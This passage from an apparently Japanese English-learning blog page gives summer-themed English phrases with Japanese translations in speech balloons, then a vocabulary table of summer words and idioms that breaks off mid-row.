<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fffaeb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fffaeb"></span><span class="vk_balloon_content_after "></span>
<p><strong>Be sure to wear sunscreen/ UV protection.　I know you wanna get sun-kissed, not sun-burned!</strong><br>日焼け止めは必ず塗ってくね。日焼けしたいのはわかるけど、ヒリヒリ赤くなりたくないでしょ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeaeb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeaeb transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’ve got toasted.</strong><br>日焼けしまくっちゃった！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#cdffed"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #cdffed"></span><span class="vk_balloon_content_after "></span>
<p><strong>Yikes! I’m like Lobster because I fell asleep by the pool.</strong><br>最悪だー！プールサイドで寝落ちちゃって、真っ赤に日焼けしちゃったよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f6ebff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f6ebff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I want to go somewhere to get away from the heat this summer.　　</strong><br>今年の夏はどこかに避暑に行きたいな</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e4f6ef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e4f6ef"></span><span class="vk_balloon_content_after "></span>
<p><strong>I usually take my dog for a walk in the morning but I do it after dinner to beat the heat in summer.</strong><br>いつもは朝散歩に行くんだけど、夏は暑さを避けて夕食後に行くんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>Taking a cold shower on a hot summer day is a good way to beat the heat.</strong><br>冷たいシャワーを浴びるのは、夏の暑さをしのぐ良い方法だよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9ffef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d9ffef"></span><span class="vk_balloon_content_after "></span>
<p><strong>Let’s catch some rays on the beach!　　　</strong><br>ビーチで日焼けしよう！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_man_afro_african_avatar_male_teenager-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ddf2ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ddf2ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I went to California to soak up some sun. 　　　</strong><br>カリフォルニアで日焼けしたんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f7f0df"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f7f0df"></span><span class="vk_balloon_content_after "></span>
<p><strong>It&#8217;s going to be very hot today. I used to like summer a lot. But now I hate it.</strong><br>今日はすごく暑くなりそうだね。夏好きだったんだけど今は嫌いなんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>I need ice cream for hot summer days.</strong><br>夏の暑い日にはアイスクリームが欠かせない</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0f0f9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e0f0f9"></span><span class="vk_balloon_content_after "></span>
<p><strong>Let&#8217;s try setting the AC to 27 Celsius degrees or higher in order to save energy!</strong><br>節電のためにエアコンは27度以上設定しよう！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fff4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0fff4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Dark clouds are gathering, so there might be a downpower.</strong><br>黒い雲が立ち込めてきたから集中豪雨になるかもね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>There are big cumulonimbus clouds, we will get an evening shower soon.</strong><br>積乱雲が出てきたから夕立が来るかもね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5ee"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff5ee transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>There was a lightning strike/thunderbolt in the park my kids were playing.</strong><br>うちの子供たちが遊んでた公園で落雷があったの</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:37px;height:auto"/></figure>


<table style="height: 1686px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>linger on</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ぐずぐずする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cicada</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">蝉</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>shrill </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">甲高い、けたたましい、耳をつんざくような</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>midsummer</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">真夏</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>go surfing </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">サーフィンに行く</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>outdoor activities </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">野外アクティビティ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 30px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>summer vacation</strong></td>
<td style="width: 62.9762%; height: 30px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">夏休み</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>summery outfit</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">夏服</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>suits</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">似合っている</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>around the corner</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">もうすぐ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>melt</strong></td>
<td style="width: 62.9762%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">溶ける</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sunshine </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日差し</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>shaved ice </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">かき氷</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>catch some rays</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日光浴</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>hit up</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"> 〜に行く</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>chill</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">まったりする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>grab</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">何かをちょっと食べる、何かをちょっと飲む、掴む</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>vibe</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">フィーリング、雰囲気</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>hit the waves</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">サーフィンしに行く</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get tanned</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日焼けする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be lit</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】最高なものにする、盛り上がっている、すごく良い、イケてる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>beach read</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ビーチでリラックスしながら読む本</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Cape Cod</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ケイプコッド。米マサチューセッツ州の半島。ヨットやホエール ウォッチング、またはどこまでも続く海岸線の美しさを満喫できるアメリカ人の憧れの地</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Cape Codder</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ケイプコッダー。クランベリーとウォッカのカクテル。こちらをご参照ください【<span style="text-decoration: underline;"><span style="background-color: #fac3cb;"><strong><a style="background-color: #fac3cb;" href="https://ffeng.jp/2025/07/11/vodkacranberry/" target="_blank" rel="noopener">コナン・グレイ『Vodka Cranberry』和訳 別れを決意した男の歌</a></strong></span></span>】</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>a summer to remember</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">忘れられない夏。過去の特定の夏を振り返る時に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fell in love with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜と恋に落ちる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>dip</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ひと泳ぎする、浸す、濡らす</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>skinny-dipping</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">水着を着用せずに裸で泳ぐこと</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>memories of a summer</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ひと夏の思い出</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the reminiscences of a single summer</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ひと夏の思い出（上記より詩的）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>tanning oil</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日焼けオイル</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fan</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">扇風機</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sunbathing</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日光浴</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>ultraviolet ray</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">紫外線</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>swimsuit</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">水着</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>swim ring/<br />swim tube/<br />inflatable tube</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">浮き輪</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>wrist watch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">腕時計</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>waterproof</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">防水</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>parasol/<br />umbrella</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日傘</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>keep out</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を避ける</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fall all over</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に恋に落ちる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>lifeguard</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">救助員、ライフガード</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>seashell</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">貝殻</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>firefly</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">蛍</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>mosquito</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">蚊</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>beetle</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">カブトムシ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sunflower</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ひまわり</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>wind bell</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">風鈴</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>watermelon</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">スイカ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>rind</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">スイカなどの皮</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>drawback</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">欠点</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>SRSLY</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">seriouslyの略　本気で、真剣に、マジで</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get to</strong></td>
